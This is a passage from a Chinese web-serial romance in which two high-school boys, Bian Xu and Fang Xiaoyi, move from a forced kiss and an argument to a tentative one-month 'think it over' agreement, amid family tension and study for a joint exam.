其实边煦长得不像她,但她有孕肚,所以方笑贻一看就知道了,她就是那天在网吧门口甩巴掌的,边煦的妈妈。 边煦的脸则又板成了方笑贻遇见他的样子。 聚餐? 边煦忽然一阵反胃,心想:幸好没去。又或者说,幸好方笑贻没空。不然今晚,谁知道她来过,因为此前没发生过这种事,边煦也没查监控的习惯。 他盯着于静涵的脸,感觉那真像一个调色盘,表情变得真快,又明显:惊愕、慌乱、若有所思。 她在想什么呢? 边煦讥诮地盯着她,不答反问:“你来这里干什么?” 于静涵瞬间骑虎难下,谁能想到,高中生的聚会居然只有个把小时? 但事已至此,她缓慢深吸一口气,语气一柔再柔:“我带朋友过来坐坐,来,边煦……” 她说着伸手来拉他,想把他拉到别的地方去。 可边煦反手把她一按:“那你应该带回你自己家,而不是别……” “边煦!”于静涵猛地从门缝里钻进来,逼到他跟前,仰头低声警告,“别说了,我回头会给你解释的。但是现在我希望你冷静一点,别闹了,这两个老板,对公司的生存真的很重……” 边煦额头上青筋一跳,脑中一瞬间全是叫嚣:谁在跟你闹?谁稀罕你的解释? 只是话到嘴边,他忽然又觉得没意思,说不通,怎么都说不通。 之后闹得不大,但正因为不大,除了这两母子,剩下的纯粹在看热闹,气氛反倒更尴尬了。 边煦扯开了他的妈,叫最后面那个男的,程先生来扶她。又说这里是私人住宅,不接待外人,说完对那两个老板鞠了一躬,鞠完把门关上,还上了内锁。 其实他是摔的门,但方笑贻在门关之际拉住了门把,轻轻把门怼上了。 门外也残留过一阵动静,有人捶门,也有人打哈哈。 “边煦,你太没礼貌了!我平时都是怎么教你的,开门!” “诶呀于总,算了算了别激动,别跟孩子一般见识了。” “就是,这么大,正是最叛逆的时候,没什么的。” “范董、严总对不住,真的对不住,他、他从小脑子就有问题,我改天……” 方笑贻眉心一皱,心里霎时也搓火得要命:这个女人,实在够气人。 但边煦忽然往墙那边一贴,头颈像株缺水的植物,呈现出一丝蔫萎来。 方笑贻心里就针扎似的,晃过一阵惊悸状的心疼。 他伸手搭住对方的臂膀,用力搓了搓,然后莫名其妙道:“边煦,我想喝水。” 边煦心里累得很,又有点晕。 明明10分钟之前,他还挺高兴的,又吃又喝,还有喜欢的人陪。几个小时的轻闲时光,怎么就扛不住于静涵这么几分钟的一闹呢? 他还没想明白,方笑贻又渴了,边煦只好打起精神,从墙上弹起来说:“走吧,我上外头给你买,顺便送你去坐车。” 方笑贻站着没动:“我还想上厕所。” 边煦动作一顿,反应过来说:“你是不是不想走?” 方笑贻说:“看破不说破,谢谢。” 边煦顿时感受到了一点小小的慰藉,又贴回墙上,扯了下嘴角:“说破吧,这会儿能量太低了,需要一点甜言蜜语。” 方笑贻都不用想,自己就很介意这句,又拍了下他说:“你脑子没问题,你是我至今遇到的人里面,最聪明的人。” 这时,一阵风忽然卷进院里,把满院的草木都吹得摇晃。 边煦的心一瞬间也跟着乱了:他不该这样看自己的,这样专注认真,好像有情一样。 与此同时,边煦脑中又灵光一闪,方才的疑问恍然无师自通:为什么方笑贻的陪伴,会挡不住于静涵的作乱?是因为不等式的两边,关系的底数和深度的指数,都不一样。 方笑贻只是“普通”的同学,底数算1,陪他做普通的事,影响指数也是1,而于静涵都是10。 要是他也都是10就好了—— 边煦心里忽然生出一种狂妄和贪婪来,想要10,总不能什么都不做吧? “不够。”边煦说。 方笑贻又说:“你长得帅,人见人爱。” 这是常见的玩笑话,本不该当真的,但他偏偏踩中此刻。 边煦喉头一滚,说着忽然开了门头下的灯:“你爱吗?” 他现在是个脆皮,方笑贻本来是要爱的。 但是眼前忽然一亮,方笑贻眼睛还没眯起来,又见他在看自己,那目光分明炙热,却又能滴水似的,嘴角也撅着抹微微的笑意。 一下也说不上是种什么震撼,方笑贻只觉心口为之一颤,耳朵和眼睛瞬间齐坏,听不见声音,也看不见别的了,只剩对面的这张脸。 他一下跟被定住了一样,眼神和表情都呆了。 边煦想亲他的冲动,也滋生于这道凝固的对视之中,他还是傻了可爱一点,不然就会装傻气人。 于是六、七秒后,方笑贻回神的瞬间,边煦的脸已经近在咫尺了。 温热的呼吸扫过来,方笑贻心脏战栗的狂跳,他想逃避,但又莫名觉得解脱。 他确定了,边煦喜欢男的—— 然后呢?方笑贻刚要撇开视线,顺便转开头。 边煦却忽然伸出左手,把他后脑子一包,定在那里说:“你还没有回答我的问题。” 方笑贻头转不动了,脸皮都被他扫得发热:“边煦,别问了。” 边煦眼帘垂落,瞬间就想退开了。他生平第一次被人拒绝,身心皆是巨震,难堪又难受。但身体一动,强烈的不甘心又迷了他的心窍。 “没事,你说吧,话都说到这个份上了,干脆说清楚,”边煦重新盯着他说,“你是不喜欢我,还是不能喜欢?” 方笑贻盯着他的卧蚕,叹了口气说:“不能。” 边煦心里有点刺痛,违背自尊,又忍不住纠缠:“你再看看呢?遇到你之前,我也不喜欢男的啊。” 方笑贻眸光细微地晃了下,脸上闪过一瞬间的震撼。 说实话,他有点难以置信。 边煦看在眼里,等了片刻,心烦道:“你把我害惨了,还在这儿当哑巴。” “我……”方笑贻一阵语塞。 此刻边煦是来真的,方笑贻也不敢再抖机灵了,说他是自己害自己,或者叫他去买点中药调理一下。 方笑贻只好沉默,想往后退,离开这个让他如坐针毡的距离。 可边煦又摁得紧,非不让,跟他较劲似的。 可这有什么用?要是按个头就能在一起,世上哪还会有单身狗? 方笑贻伸手在他肩膀上一推,也有点恼火了:“那不当哑巴,我说实话你又不爱听,怎么弄?” 边煦被他一推,那力气不小,带着一股躁劲。 边煦上身晃了晃,但没松手,甚至为了维稳,他干脆把方笑贻腰也搂了,边搂还边大发牢骚:“所以你以后是打算都不跟我说话了吗?” 方笑贻其实没这个意思。 边煦在他心里的分量,其实挺重的。他一直是把边煦跟谭威放在一块的。但他跟谭威认识多久了?穿开裆裤就认识了。所以除以时间,这家伙的密度,已经是谭威的很多倍了。 可边煦犹不满足,还越推,接触面积越大。 方笑贻也是无能狂怒了,只好又把他一推,吼道:“是!不说了!绝……不说!你tm的满意了吧?” 边煦被他踩了一脚,往后跄了下,背登时撞到了背后的蘑菇墙。 那个凸起硌得他左肩胛骨生疼,但他一时没顾上,因为他听见方笑贻说的话了。 不说了,还要绝?绝什么?绝交吗? 边煦太阳穴那儿仿佛有根筋,蹭的就拉紧了,绷得他头痛又委屈:那就绝!绝得更彻底一点。 方笑贻还没回过神来,就见边煦眼神一狠,而后左手猛然发力,把自己的嘴,压到了他的上面—— 弹软的触感瞬间传来。 那片刻方笑贻在发愣,整个大脑空白,空得忘了反应。 边煦啄完,看他瞪着个眼皮在那儿灵魂出窍,也不反抗,也不亲,是个柔顺的呆瓜模样,心里那些张牙舞爪的怒气,忽然就平息了一大截。 因为亲嘴太让人开心了,像碰到了一个热果冻,触电似的,心脏也跳得七荤八素的,整个人像被打了甜蜜素…… 只是他没能甜出2秒,方笑贻就元神回归,瞳孔地震地踩了他沉甸甸地一脚。 “嘶!” 边煦估计脚趾盖都黑了,背上也疼,但他心里没那么憋屈和难受了,反而还有点爽。 方笑贻一自由,就拿手背揩了下嘴,弹到对面墙上去了。 边煦则倚在这边没动,一边跟他干瞪眼,一边惊讶于他竟然没被气走。 然而方笑贻只是觉得,就这么跑了,显得太柔弱可欺。而且他没想真的跟边煦绝交,所以总得说点什么。 檐下的气氛尴尬又微妙。 方笑贻心里想抽他,想起刚刚的遭遇,又想吐血,骂他说:“活爹!你是真不在乎我怎么想你啊。” “在乎啊,”边煦说,“不在乎怎么会变成这样?” 方笑贻看他的眼神很复杂,好一会才说:“……以后别这样了边煦,不然我真不知道,该怎么跟你相处了。” 边煦本来想说:不可能的,你心里清楚。有一就有二,我只会越来越这样。 但方笑贻看他的眼神有点哀求,边煦就有点心软了。 人家一个直男,被强吻了,也没怎么自己,还在试图讲道理、粉饰太平。他不想失去自己吗? 边煦一边想,一边问:“我真的不行吗?我长得可以吧?也算有两个钱。” 方笑贻在心里叹了口气,语气放软了一点:“不行的。” 你应该找个,活得更轻松的人在一起。 第46章 “我今天就不送你了。” 那天晚上,方笑贻走前,边煦最后对他说了这么一句。之后一连3天,哪哪儿都热闹得很,除了边煦,他不见了。 头天早上,方笑贻对着未添新词的对话框,蓦然还是松口气的感觉。 边煦是个胡来的,万一他一觉睡醒,又来大放厥词,说他俩之间,只能在男朋友和陌生人里二选一,方笑贻想想头就大了。 另外,他也需要一点时间,来捋一捋眼下这一团乱麻。 边煦怎么会喜欢他?是因为脸吗,符合审美?还是因为老杨,他对自己有点移情? 后面怎么相处呢? 以及原来在自己的意识深处,依然是觉得自己的生活,这样不轻松吗? 揣着这些乱七八糟的念头,白天有事做的阶段,时间倒是一晃就过去了,只是不能闲下来,尤其是睡前。 因为每次一看手机,又是什么也没有的一天,方笑贻心里就越来越烦躁了。 边煦这是什么意思?是手机又丢了?还是纯粹不想理他? 好几次,方笑贻键盘都打开了,想喷火,最后莫名又犟住了:自己一个被强吻的,都没怎么样?他倒还拽上了。行,那就看他能拽到什么时候? 只是这个吻,也是个提不得的字眼,一提起,脑子里就会放电影:那么近的眉眼、那么软的…… 方笑贻越想表情就空白,因为他想起了很多细节,但却不觉得恶心。 就这样一晃到了4号,早上还是阴天,到了下午,又下起了中雨。 方笑贻快2点才从四海市场回来,吃了几口去洗了个澡。 出来路过客厅,王玉华正一个大盆里头欻欻地刷小龙虾,看他一脸恹倦,心里就一阵心疼。 他这几天上午都在市场里,帮中介招人。自己嘴笨,人家看不上。他姐又说不了话,也替不了他。 王玉华只能说些没用的废话:“你去睡会儿吧,我叫谭威稍微晚点过来。” 谭威今天在附近的酒楼吃席,但太难吃了,他晚上不去了,说要过来蹭饭。 方笑贻几天没睡好了,实在有点头疼,“嗯”了声,回屋开了个飞行模式,躺下了。然后迷迷糊糊的,做了个白日梦。 梦里像是秋末,他也不是现在的年纪,要成熟和气派得多,穿着打领带的白衬衣和及膝长的毛呢大衣,正在四海的路边打车。 可是打了半天也没打到,就随手招停了一辆三蹦子。 那三蹦子和现在却又一样,哐当哐当地停到跟前,前车玻璃开着一半,里头的司机一抬头,那脸居然是边煦的。 他也是二三十的样子,叼着根烟,穿件黑色的冲锋衣,人比现在暗沉和结实些,看着很落魄。 他也不跟自己说话,不认识似的,一味地开车、抽烟,最后把车停在了一个落满金色银杏叶的路口,才说:“我就送你到这里,前面的路走不通了,你自己走吧。” 方笑贻只好下了车,下来才想起没给钱,可谁知一转身,背后什么也没有。 没有三蹦子,也没有边煦,好像从来就不曾存在过。 方笑贻心里一急,就急醒了。可醒来又像在另一层梦里,屋里不知几时已经黑了,而眼前一尺的地方,又是梦里刚消失的脸。 只是它又变年轻和细腻了,是现在的边煦的脸。 午睡太久,骤一睁眼,方笑贻脑子整个还是糊的,又被梦里的情绪裹挟,总觉得这个马上也要不见了,连忙伸手想去抓他。 可左手一动又才发现,自己的手被人扣住了。他一抽,立刻被卡柱,那种力道来自于指缝之间,有点力度,显得很真实。 方笑贻瞳孔才聚起焦来,惊讶又夹着一丝惊喜地发现:眼前这货油光水滑的,表情也挺平和,是个真的。 一瞬间,几天以来的不安忽然落地,方笑贻挫败地闭了下眼睛,又睁开说:“……怎么来了?” 他累过了又饱睡,声音虚得主语都没了,手却还有力气,在床上又拧又抽,生怕沾上自己似的。 这忘恩负义的臭毛病。 边煦冷哼一声,指头立刻往他手背上一压,彻底给他握死了:“我给你打电话,一会说关机、一会说不在服务器,我以为你把我拉黑了,过来骂你。” “有病,”方笑贻嘴角柔软地扭了下,“你以为我像你这么幼稚,一言不合就玩失踪?” 边煦沉默了几秒,才说:“我没有跟你玩失踪,我只是,在等你给我个台阶下。” 他tm的把人都吓傻,还想要台阶,简直贪心到爆炸。 可方笑贻心里又没火气,人或许不该找太好看的对象,因为眼睛会滑跪地服软。 方笑贻往右一翻,没好气道:“没有台阶,松开。” “先不松,”边煦却把他俩的十指相扣状的手一拽,又把他拉了回来,“这是你刚刚勾引我证据。” 方笑贻看了眼那两只被他抬起来的手,万分不理解。 自己这手,能怎么勾引他?脱衣服给他……想着方笑贻心里一突,猛地抬头看了下自己身上。 万幸他不爱裸奔,T恤、七分短裤都老老实实穿在身上,是个正经人。 可碍不住边煦不正经,一见他那个动作和表情,登时就误会了,脸色一黑:“你怕我把你怎么样啊?” 方笑贻说:“我不该怕吗?” “早知道我在你心里这么龌龊,”边煦恐吓他,“我就该把你裤子扒了,免得白被冤枉。” 然而方笑贻心里知道,他不会的,那天只是被气到了,就只瞪了他一眼:“闭嘴吧你,你的逼格都快从满分掉到不及格了。” 扒了裤子才掉40,边煦感觉自己大有可为,笑了下,脸色正经起来,凑向他说:“你刚刚做了什么噩梦?” 那个梦和恐怖不沾边,但效果却颇为毛骨悚然:边煦家道中落了,跟他也形同陌路。 那种伤心和抵触,方笑贻醒来还记得,但他不想跟边煦说。 “有吗?”方笑贻装傻,“我不记得了。” “有,你一直在上面抓,还在喊,”边煦盯着他的眼睛,表情一下变温存了,“你说,边煦别走。” 方笑贻头皮霎时麻了下,有种被命运的巨轮压住的文青错觉。不然边煦怎么早晚不来,偏偏要在自己说梦话的这个下午过来? 边煦却准确地捉住了他这一瞬间的恍惚,忽然带着他的左手和自己的右手一起撑在了枕头上,俯撑在他脸的上方说:“你对我,还是有那么一丁点意思的,是不是?” “你!”方笑贻心里的弦一下绷到了极致,脱口而出间还瞥了眼房门,“你是不是疯了?!” 边煦看见他那个眼神,感觉更笃定了,小声说:“我锁门了,放心吧,只要你不乱叫,什么事都没有。” 方笑贻一时失去了声音。 是边煦偷偷地变骚了,还是他自己太污了?怎么这些话,听着就那么不对劲呢? 额头上有根青筋在跳,方笑贻真想给他一膝盖,可是又怕闹成上次那样,拱火拱火最后,又是一通瞎啃。 这又还在家里,方笑贻心里顾忌多,只好狂吸气,又在心里念经:冷静冷静冷静! “冷静”完,他把声音绷住了:“行,我不叫,你起来,咱们正常点,坐着说话。” “不,”边煦一口回绝,“你一正常,嘴里就没一句真话,就这么说。” 方笑贻当场被他气笑了,可笑完看见他眼底的红血丝,也是一副没睡好的样子,登时又哑火了。 他俩这几天,看来都在熬鹰。 方笑贻没动,在心里叹了口气:“行吧,就这么说。我对你,没……” “你可要想好了,”边煦忽然轻轻一笑,“我跑来纠缠你,也是鼓了几天勇气,心里知道难堪的,从没这么不要脸过。所以你最好说心里的真话,因为哪怕是假的,我现在也会当它是真的。等我破防了,我就不找你了。” 说着他低下头,在方笑贻眉心浅啄了一下:“永远不找了。” 永远吗? 方笑贻心里像爆了个青梅,一下从胸口酸到了眉心。 男男其实没什么,穷也没什么。有什么的,只是他不敢。 什么无条件的真爱?方笑贻从来不信这套。一个人得到了真爱,只能说明爱他的人,付出了这份爱里全部的代价。 所以要是方笑贻在乎的人,他舍不得让对方买单。这是他的自尊,现在撞上了边煦的倒贴。 可边煦真勇啊,衬得他像个胆小鬼。 但方笑贻的胆小却不只是因为胆怯,更是因为贪心,他习惯了做长远的打算。而原本他的打算里,有给王玉华买社保,有给方雪晴治嗓子,却根本没有谈恋爱。 但边煦忽然蹦出来,厚着脸皮地要谈。 方笑贻一想起那个梦就浑身难受,没坚持过5秒,就败给他了。 他伸手蒙住边煦的眉眼,一边往外推,语气失败而妥协:“那我再想想。” 边煦一下乐出了声,从他的指缝里看他:“真想假想?” 方笑贻无奈了:“你都癫成这样了,还能怎么想?” “不要反问,”边煦用防贼的谨慎说,“就说真想假想?” “诶真想,真想!我服了。” “想多久?” 方笑贻眯起眼睛,感觉说久了他也要叽歪,干脆说:“1个月。” 他是真的挺有诚意了,边煦把他俩的手一抬:“行,到时候给我一个高兴点的答案。” 第47章 出房门前,方笑贻跟他约法三章了。 这一个月里,不许催、不许再动手动脚、不能耽误学习。 边煦其实对第二条颇有微词。 在家“闭关锁国”这3天,其实他也想明白了:他对方笑贻的喜欢,其实也没那么复杂,就是看顺眼了,身心都想靠近他、贴近他,并且动不动爱心疼他。 网上说,这叫生理性喜欢,这种就是会小脑萎缩、不由自主。 但人家已经退了一大步了,边煦见好就收,立刻答应了。 方笑贻也是起来之后,才发现谭威根本没来,不过手机上有他的抱怨语音,是5点40多发的。 [谭威][4s]:邪门了我靠!打不到车居然 [谭威][4s]:我爸也还在打麻将,不送我 [谭威]:? 于是王玉华给谭威准备的家常便饭,就落到了边煦头上。 半小时前,这小哥忽然出现在门外,说在附近吃饭,过来找方笑贻玩会儿,王义华心眼实在,也没多想。 然后她还怕边煦不自在,没多久就说吃饱了,搂着孩子去看动画片了。 客厅里只剩他俩,两人就扒着虾,嘀咕近况。 方笑贻这边基本雷打不动,除了赚钱,就是学习休息。对了,还有失眠,但这个他没跟边煦说。 “没有饭局吗?”边煦问他。 方笑贻说:“没有。” 像他们这种刚进城市落脚的,跟这个地方不可能有什么链接。 边煦家里应酬一堆,多到人烦,但这边没有,又很冷清,他小声说:“你老家的亲戚,都不来往了吗?” 这倒不至于,方笑贻客观道:“也不是,但我妈不想回老家,亲戚也都知道,有什么喜事也就不叫你了,就偶尔打个电话。” 但其实,也没什么可说的。 不过提到亲戚,方笑贻倒是想起来了:“你家那个老宅,那天是个什么情况,你弄清楚了吗?” 边煦擦了下手,有点意外:“你居然还记着这件事?” “这事不小吧?”方笑贻闲闲往不锈钢碗里扔了个虾头,“对你来说。” 边煦权当这是一种关心了,笑了下说:“算是吧,我感觉我妈,就是那天穿米色裙子那个,想动那套房子。但现在也没什么证据,不过我奶奶委托了个律师,去调查了。” 这就是有钱人,大小事务都有律师分忧。方笑贻立刻不替他操心了,改道去撬他学习的墙角:“你这几天在家,都刷了什么题?来,透露一点押分的。” 边煦一下卡住了,他这几天都在刷手机,解单恋的谜题,题刷得不多,比较堕落。 方笑贻看他不说话,有点不满:“怎么?学会藏私了啊?” “不是,”边煦哭笑不得,又意有所指道,“我前两天心情不好,没刷。” 他也是个恋爱脑,这可要不得,方笑贻发愁地说:“那咋办?没几天就联考了,你别一考一个屁,到时候跌落神坛,有你哭的。” 边煦目露戏谑:“你自己都不担心,还挺担心我?” 方笑贻给了他一个“少自作多情”的眼神:“我担心的不是你,是你那个拿不出来的押分题。” “拿得出来,”边煦把刚剥出来的虾给他了,“今天起有心情了,回去刷就是了。” 其实他没搞暧昧,只是正常地在说话,但那个意思又很明显:没心情、有心情,都是自己害的。 方笑贻就感觉挺新奇的,他影响了边煦的情绪,也被他影响,同频共振了属于是。 * 王玉华做的菜,对边煦来说有点咸,但桌上那盘小樱桃状的小番茄很好吃,她做的米酒也好喝。 方笑贻口味复杂些,吃不来这种纯甜的,但看他一会一个,问了句:“好吃?” 边煦点了下头:“嗯,这是什么品种?”他居然没见过。 方笑贻都不爱吃,从没关心过品种,此刻只好扭头喊道:“妈,桌上这个小的要死的番茄,是什么品种啊?” 王玉华茫然的声音从次卧里传来:“啊?这些种子是你姐在网上买的,花里胡哨的,我哪记得住?你问这干嘛?” 边煦还没来得及阻止,就听见他说:“边煦问的,他喜欢吃。” “哦喜欢吃,那还不简单,”王玉华人出现在次卧门口,笑着对边煦说,“那我上楼给你摘点,一会你回去的时候带着。” 她看着话不多,其实人很热情,可外头的雨下得稀里哗啦的,边煦可不敢这么麻烦她,立刻站起来说:“不用了阿姨。” 方笑贻也来插嘴:“妈,我俩一会自己上去摘,爱吃什么摘什么,你别管了。” 王玉华这才回去了,没两分钟又在里头说:“笑儿,那个品种叫醋栗番茄哈。白醋那个醋,板栗的栗。” 方笑贻应了声,慢腾腾地吃完了,起来的时候脚推到了椅子,王玉华听见动静,立刻又出来了。 “你俩玩去,”她挥着手说,“走走走,我来收。” 边煦看得出来,她是个勤快得闲不住的人。 方笑贻也知道,帮她把要洗的盘子碗搬进厨房,很快又出来,找来新塑料袋、剪刀和手电筒,带着边煦上楼去了。 楼顶的门需要用钥匙。 方笑贻去拧锁时候,边煦就感觉到了,楼顶大概有点什么。稍后踏进雨里,他就着方笑贻的手电光一看,果然看见门左边那块墙边,有片植物和一个凉亭。 植物除了小番茄,其他边煦都不认识,但都长得挺好,尤其是他认识的这样,红的、黄的、绿的还有黑的,爆果都爆疯了。 凉亭也简陋,就是几根镀锌铁管,顶部一层薄铁皮,四边绷着层蚊帐布。 只是边煦没想到,这里会有个这种玩意,诧异道:“这谁弄的?” 方笑贻划了个冂字框,给他讲:“这3根,是以前别人焊好,晾被子用的。后面我妈说在屋里待着闷。我就把剩下的接上了。然后她拆了个废蚊帐,就成这样了。” 这里挺好的,把门一关,又没别人、又没蚊子,感觉很自在。 边煦忽然有点遗憾,要是今天不下雨就好了。不过也没什么,不下雨的时候,他可以再来。 接着,方笑贻叫边煦把番茄都尝了一遍,看他说红黄的甜,哐哐剪下来一大袋子。 边煦看他把树都剪秃了半截,一直在笑:“够了,可以了。” 方笑贻不听,剪得差不多了,回到楼道里被灯泡一照,才看见他左边手臂上全是水,从袖口到手背上全是。 方笑贻愣了下,又伸手一摸他左肩处的布料,也湿得差不多了,心里登时有种说不上来的滋味。 因为他要摘,双手都要用,他俩就只带了一把伞上楼。 但这伞其实挺大的,撑开了1米3多,正常他俩合撑都绰绰有余,只是今晚有点风,下的是斜雨。 方笑贻当时看伞也没有特别倾向自己,就没注意。此刻再看他,左侧那一条,估计都湿了。 他看着边煦,本来想说:你傻啊,自己打啊。 但又感觉有点矫情和马后炮,只好转过身说:“走吧,下楼,我去给你找件换的。” 边煦直接在方笑贻房里换了一套外衣,换完两人不能谈恋爱,只好聊学习,头凑头地把过去3年的联考卷比了一遍。 期间,想想过来插足,想叫方笑贻陪他玩。 那个撒娇的小样儿,又是抱小腿又是拉手,一边哼哼唧唧:“舅舅,走,出去。” 方笑贻说:“舅舅现在有事,待会儿陪你,好不好?” 这小崽还会捂着嘴流泪,一副心被伤透的模样。 方笑贻只好又来给他抹泪,并一顿好哄。 小孩哥真是要演技有演技,要眼泪有眼泪,还不懂要脸为何物。 边煦眼红但羡慕不来,只好摸出兜里的aibi机器人,开机让它卖了下萌,把这小崽吸引住,再一并给王玉华,让她连人带玩具抱走了。 这玩意也是几千,方笑贻赶紧阻拦:“别给他,两下给你打坏了,我可赔不起。” “坏不了,”边煦淡定道,“只要不往地上猛摔的程度。” 说着转头对想想说:“行了你玩去吧,我跟你舅舅再学习一会,好吗?” 孩子根本没空理他们了,一直伸手在aibi上摸,还喊它“乖乖”。 王玉华这才把他抱走了。 然后两人才把卷子扫完,勾完常考题型,边煦才转着从方笑贻桌上捡到的一个菊花版的一元硬币,说:“你在家,我感觉你能学习的时间很少,你觉得呢?” “我知道。” 方笑贻一直都知道,只是以前,他不想改变而已,因为他没有新的目标和欲望,生活保持原状就可以了。但他现在有了,他想要轻松一点的生活。 方笑贻看着边煦说:“后面这几天,我不做兼职了,我去社区图书馆自习就行了,那边根本没有人。” 然后家里这个小店,他也会放手。 边煦说不上来,但感觉他好像有哪里不一样了,自己莫名也挺欣慰:“那约个自习吧,从明天开始。” “约。” 第48章 适应了两天之后,方笑贻把时间分成了段。 早9晚6,他骑电瓶车去社图,预习、写题,中间回家吃个午饭。这个区间以外的时间,他就用来做杂事。 手机对面,边煦只要不出门,就会定好时间来陪学。 方笑贻嘴里说要押分题,其实只是说着玩,他自主学习的能力挺强的,很少找边煦帮他干什么。他甚至还会反过来絮叨边煦。 [四海大富翁]:哥,我发现政史地你是一点不学啊 [四海大富翁]:怪不得你考不过一中那个姓程的了 [边煦]:锤飞.jpg [边煦]:不造谣不传谣,我学了的 方笑贻压根就没见他学过。边煦狡辩,说他都是临考前狂学。方笑贻一想,他好像是考前会看看知识点的打印纸,登时服气到无语。 [四海大富翁]:浪吧你就 [四海大富翁]:你真该谢谢老杨给了你一个好脑子 可边煦就是不爱学这些,课本太过浓缩和应试了,无聊得很。 方笑贻说:[你管它无不无聊,背就是了] [边煦]:不到考试之前,我就背不下来 [四海大富翁]:那你玩去吧 [四海大富翁]:我背,背了加在总分上,搞不好就把你超过了 边煦笑了下:[这么吓人?] 方笑贻:[拽.jpg] 边煦立刻又回:[没事,你超吧,我回头再追你就是了] 方笑贻本来想骂他:就你语文牛比是吧? 但手指一点到屏上,又还是觉得表情包能表达的更多:[锤飞.jpg] 假期的这后几天,除了边煦,刘丞丞和谭威也没少给他发消息,问方笑贻要数学和物理考纲。 刘丞丞是问他要,谭威是叫他帮忙问边煦要,方笑贻也给,也锤他们。 最后两天,负责班长谢恒上线,晨昏定省地催大家学习,冲冲冲! 他甚至还把边煦给刘丞丞他们的那个数学和物理题word分享在群里了。 [新陈代谢]:家人们,这是边董整理的几个典型例题 [新陈代谢]:是智慧的结晶,是无私的大爱 [新陈代谢]:都看看哈 [刘momo]:卧槽你怎么把我的好兄弟专属福利给泄露出来了 [新陈代谢]:我问边董,他说可以 [刘momo]:你不许问他!他啥都可以 [厦天]:边董,爱你 [什么都磕]:我也爱 …… 方笑贻看了下那个文档,确实跟给自己那份一模一样。 边煦在这方面很大度,不会怕谁超过自己,而隐藏什么不传之秘,因为他根本不认为有那种东西。 这种随手的利他主义,方笑贻并不具备,所以他挺佩服边煦的,同时暗自给自己订了个目标:既然花时间学了,那这次联考,最好能进前10,最差不要排出15。 为了这个目标,他学得还挺来劲,大概人打过工后,短时间内,会有种还是上学舒服点的错觉。 边煦这边,就没有他这么舒服了。 虽然边煦作息规律了,整天学习,晚上还到地下室里练琴,变成了一个好学生的模样。但盛芝兰和邓嬢看在眼里,都觉得他不太对劲。 哪来的积极性啊这是?还一天到晚躲在书房里,也不出来。 然而盛芝兰逮住他一问:“帅哥来,我问你,你最近不会是……谈恋爱了吧?” 边煦一边反省,自己表现得这么明显吗?一边又说:“没有。” “有就有嘛,”盛芝兰一副开明的样子,“我又不是什么老古板。” 边煦这革命都还没成功,根本没空跟她打报告,也怕万一打了,她要添堵,那更麻烦,当即决定把她瞒住了:“没有。跟你说了,我那天晚上去找同学玩了。” 因为是真的还没有,盛芝兰看来看去,也没看出他心虚,只好纳闷:“那你前几天郁闷的要死,是在郁闷什么?” 边煦问她:“于静涵女士,还不够我郁闷的吗?” 行吧,郁闷就算在这件事上,盛芝兰又问:“那这几天呢?我看你又挺高兴的了,是有什么好事吗?” 边煦打了个马虎眼:“我们班里的男生,天天在群里夸我帅,说爱我,算好事吗?” “男的爱你有个什么用?”盛芝兰听他是个玩笑的语气,自己也没当真,鄙视完又问,“不过他们为什么要夸你?你请他们吃饭啦?” 边煦说:“我请他们做题了。” 盛芝兰读书时也是个学霸,但她觉得读书没意思得很,登时挥手把他赶走了。 边煦走前,又叮嘱她对老宅上点心。他这个奶奶,脑子其实是很精明的,只是太懒了,一点心都不爱操,怕变丑。 最后两天,方笑贻状态明显上来了,刷题刷得十分上头。 边煦错开朝9晚6找他,他也老是半天不见人,再出现就是拍个题来,说这个是今天最难的。 可边煦一看时间,都快半夜了,顿时满头黑线:[悠着点,别用力过猛了] 在青创营和少年班,边煦见过很多“天才”,当时都是相当勤奋的,但只要一次失败,人就会突然废掉。好像那一阵的“拼命努力”,把这一生的斗志都耗尽了。他不希望方笑贻也这样。 方笑贻回得很快:[才几天,过不了] 边煦问他:[心里有数?] 方笑贻又回:[有,考完就躺平] 边煦这才不管他了。 隔天下午,边煦挺早就来了学校,还给方笑贻发了消息,叫他也早点来。 方笑贻今天没发题瘾了,这会儿还在店里吃西瓜,顺便受他姐驱赶。 方雪晴:你这吃完了去学校吧,再复习复习。 方笑贻就是从家里被王玉华赶出来的,到了这儿又被赶。她俩对他回归学习的支持,就是这么的简单粗暴积极。 方笑贻比了个ok,拿起手机一看,好家伙,又来个催的。 他脑子里想着烦死了,脸上又没有对应的表情,反倒有些似笑非笑:[去那么早干嘛] 几天没见,边煦有点想他了:[来搞考核,我看看你这几天学的怎么样了] 方笑贻觉得他脸真大:[不知道的,还以为你是个班主任呢] 边煦回他:[班主任今天哪有空搭理你?也就是我才管你] 方笑贻头上悬着个问题,聊天这会放不开了,回不出一句“你哪个啊”,只好换成一句人身攻击:[知道了,你是边婆婆妈妈] 边煦说:[你最好别来了,来了就收拾你] 方笑贻回了个表情给他:[纯意识形态否定.jpg] 然后回完一抬头,看见方雪晴坐在柜台后面,撑着下巴,正笑吟吟地看他。 方笑贻心里就一惊,怕她看出或会忽然问点什么。 可方雪晴又没问什么,只是慢条斯理地拿开手,一通比划:你最近心情不错啊,超级好,我跟妈都很高兴,继续保持,比心~ 方笑贻顿时放松下来,也给她比了一个。 这天下午,他到学校门口的时候,还不到4点。 学校门口不知何时拉了条红底黄字的横幅:热烈欢迎杰出校友李炳卓先生返校 方笑贻不认识这位先生,也没多留意,径直回了300。 寝室里头,边煦正躺在床上,拿平板在看一个机器人大战的解说视频。 方笑贻一看他的屏幕,忽然就被触发了童年的记忆,说:“这个节目还在播啊?” 边煦听见他进来了,往外一翻,刚好看见他的脸出现在围栏的框格里,脸上不自觉就冒出了笑意:“舍得来了?” 方笑贻也几天没见他,看他一笑,也跟着笑起来:“不舍得。” 边煦嗤笑:“不舍得,还不是要来。” “好无聊啊你,”方笑贻说完,又一瞥他的平板,“你也看这个机器人大擂台啊?” 边煦看着他说:“很久没看了,就是刚刚刷到了,怎么,你也看?” “看,但我也很久没看了。” 两人接着聊了下这个节目,意外发现他俩居然是差不多时间看的,并且惊艳的机器人都是同一个。 “利箭,对不对?”方笑贻露出怀念的表情,“当年最强的机器人,41胜6负,吊打主场机器人,造型也帅,我记得可清楚了。我当时还叫我爸、去给我买一个这个机器人。” 他在“我爸”那里卡了下,不过很快又恢复了正常。 边煦注意到了,但假装没没察觉,只说:“我还不是?但是那玩意儿没得卖的。” 然后他俩又扯了会别的名气机器人,边煦从床上下来,非要看他刷他卷子。看完又挑了几个错题,问了下他思路。 方笑贻一边回答,一边看他在对面的椅子上翻自己的卷子,低着头、架着右腿,姿势并不算很端庄,但很负责任的样子,看起来也,较真到可爱。 